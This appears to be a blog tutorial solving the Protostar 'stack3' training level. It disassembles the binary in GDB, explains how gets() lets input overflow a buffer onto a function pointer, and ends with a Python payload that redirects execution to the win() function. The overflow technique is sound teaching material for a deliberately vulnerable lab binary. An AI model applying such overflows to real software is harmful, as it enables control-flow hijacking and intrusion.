Hello there in this article we are going to see how we can exploit and win protostar stack 3 level. In our previous tutorials we talked about protostar stack0, stack1 and stack2. In this level we want to change the flow of this program.You know that eip is always pointing to the address of next instruction that should executed by the CPU. So if we can change EIP to point to another address we can change the behavior of program. But in this step we don't know what to do.
First of all let's run the binary and see what happen.
thilan@bt:~/protostar$ ./stack3 AAAAAAAAAAAAAAAA
You can see when we execute the program it's waiting for an input. I have entered an dummy text string and nothing specially happened. Let's enter some long character string to see if there is a buffer overflow or not.
thilan@bt:~/protostar$ ./stack3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA calling function pointer, jumping to 0x41414141 Segmentation fault
Yes, the program was crashed. It looks like it is jumping to a address 0x41414141 . But we know that address is a part of our input.
No more waitings. Let's disassemble the binary with GDB and see how it's inside looks like.
thilan@bt:~/protostar$ gdb -q ./stack3 Reading symbols from ./stack3...done. gdb-peda$ disass main Dump of assembler code for function main: 0x08048438 <+0>: push ebp 0x08048439 <+1>: mov ebp,esp 0x0804843b <+3>: and esp,0xfffffff0 0x0804843e <+6>: sub esp,0x60 0x08048441 <+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048449 <+17>: lea eax,[esp+0x1c] 0x0804844d <+21>: mov DWORD PTR [esp],eax 0x08048450 <+24>: call 0x8048330 <gets@plt> 0x08048455 <+29>: cmp DWORD PTR [esp+0x5c],0x0 0x0804845a <+34>: je 0x8048477 <main+63> 0x0804845c <+36>: mov eax,0x8048560 0x08048461 <+41>: mov edx,DWORD PTR [esp+0x5c] 0x08048465 <+45>: mov DWORD PTR [esp+0x4],edx 0x08048469 <+49>: mov DWORD PTR [esp],eax 0x0804846c <+52>: call 0x8048350 <printf@plt> 0x08048471 <+57>: mov eax,DWORD PTR [esp+0x5c] 0x08048475 <+61>: call eax 0x08048477 <+63>: leave 0x08048478 <+64>: ret End of assembler dump.
Hear I have used peda with GDB. But it isn't needed for our work. You can see some stranded compiler stuff that arrange the stack as following.
0x08048438 <+0>: push ebp 0x08048439 <+1>: mov ebp,esp 0x0804843b <+3>: and esp,0xfffffff0 0x0804843e <+6>: sub esp,0x60
give your focus into following assembly lines. If you read our reverse engineering tutorials you could guess what's happening hear.
0x08048441 <+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048449 <+17>: lea eax,[esp+0x1c] 0x0804844d <+21>: mov DWORD PTR [esp],eax 0x08048450 <+24>: call 0x8048330 <gets@plt>
In previous tutorials I explained stack layout with graphic images. But now I want you to understand this without images. Just try to draw your own images in you mind. I'll guide you.
It is pushing the value zero to a location that 92 (5c in hexadecimal) bytes
far from the top of stack. After that it copy the effective address of esp+0x1c into the eax register. (lea stands for load effective address). Since 1c in hexadecimal equal to 28 in decimal, this location is 28 bytes far from the top of stack. Now hear is the interesting story. First location (Let's call it location A) is far 92 bytes from the esp(or top of the stack). The second location (Let's call it location B) is far 28 bytes from the esp. Now how many length between those two locations? 92 -28 is equal to 64. Just keep this number on your mind. Let's see what happens next.
There is a instruction that moving eax into the top of the stack (At the moment eax holds the address of location B). After that it is calling the gets function. In our stack tutorials I explained before we call a function we push function's arguments on to the top of stack. So in function it can access it's arguments from there. Hear we can see that practically. The address of location B is an argument to gets function. What does gets function do? it'll get an input from the user and copy that input to a memory address. Hear what we supply as a argument is that memory address. So finally gets function copies user input into location B. Gets function don't care about the buffer size and length of user input. It copy entire user input starting from location B So if the user input is long enough it can overflow into other memory areas too.
Next there is couple of instructions.
0x08048455 <+29>: cmp DWORD PTR [esp+0x5c],0x0 0x0804845a <+34>: je 0x8048477 <main+63>
After gets function it comparing location A with zero. Do you remember in a early step program copied value zero to the location A. So what program check hear is the value of location A changed or not. If we could overflow the buffer with our input this value may not same as zero. After cmp instruction there is a je instruction. That stands for jump if equal. So the value of location A is still zero (It haven't changed) it will jump to 0x8048477. When we look at there, we can see flowing instructions.
0x08048477 <+63>: leave 0x08048478 <+64>: ret
That means if we don't overflow buffer and change the value of location A program will exit without happen anything. That's what we did in our first run of this level.
Next , what if program don't jump to 0x8048477 ? it will continue executing next lines.
0x0804845c <+36>: mov eax,0x8048560 0x08048461 <+41>: mov edx,DWORD PTR [esp+0x5c] 0x08048465 <+45>: mov DWORD PTR [esp+0x4],edx 0x08048469 <+49>: mov DWORD PTR [esp],eax 0x0804846c <+52>: call 0x8048350 <printf@plt> 0x08048471 <+57>: mov eax,DWORD PTR [esp+0x5c] 0x08048475 <+61>: call eax
Hear first five lines are responsible about printing the massage(calling function pointer, jumping to 0x.....) when we overflow buffer. Focus on following two lines.
0x08048471 <+57>: mov eax,DWORD PTR [esp+0x5c] 0x08048475 <+61>: call eax
first it get the value of location A and copy it to eax. In next step it call eax. That mean if we put an address in location A, we can jump into that location. Awesome ! Now what address we put? In this level there should be a function to jump.
(If you look at the source code you may see a function called "win". But for now let's assume we don't know where to jump)
Since the address of main function is 0x08048438 I disassembled the address 0x08048428 to check if there another function. So GDB automatically show me that there is a function called "win" at 0x08048424.
gdb-peda$ disass 0x08048428 Dump of assembler code for function win: 0x08048424 <+0>: push ebp 0x08048425 <+1>: mov ebp,esp 0x08048427 <+3>: sub esp,0x18 0x0804842a <+6>: mov DWORD PTR [esp],0x8048540 0x08048431 <+13>: call 0x8048360 <puts@plt> 0x08048436 <+18>: leave 0x08048437 <+19>: ret End of assembler dump.
So if we put the address 0x08048424 in location A we can execute win() function and complete the level.
Previusly we calculated the length between location A and location B. It was 64 bytes. since gets function start copying from location B we want to input 64 bytes before reach location B. Those 64 bytes can be anything. Hear I used 64 A characters to fill that gap. (A character is long one byte). After that padding I can enter the value to fit into location A. we know that should be the address of win function. If you have read our "little endian notation explained" tutorial you know that in intel mashings we want to store values in reverse order. so I entered the address as \x24\x84\x04\x08.
Our final payload is '\x41' * 64 + '\x24\x84\x04\x08'.
Hear I used our friend Python to generate the payload and feed it into vulnerable binary.
thilan@bt:~/protostar$ python -c "print '\x41' * 64 + '\x24\x84\x04\x08'" | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
Finally we did it. We will meet in next level. Thanks for reading. Don't forget to share it and leave a comment.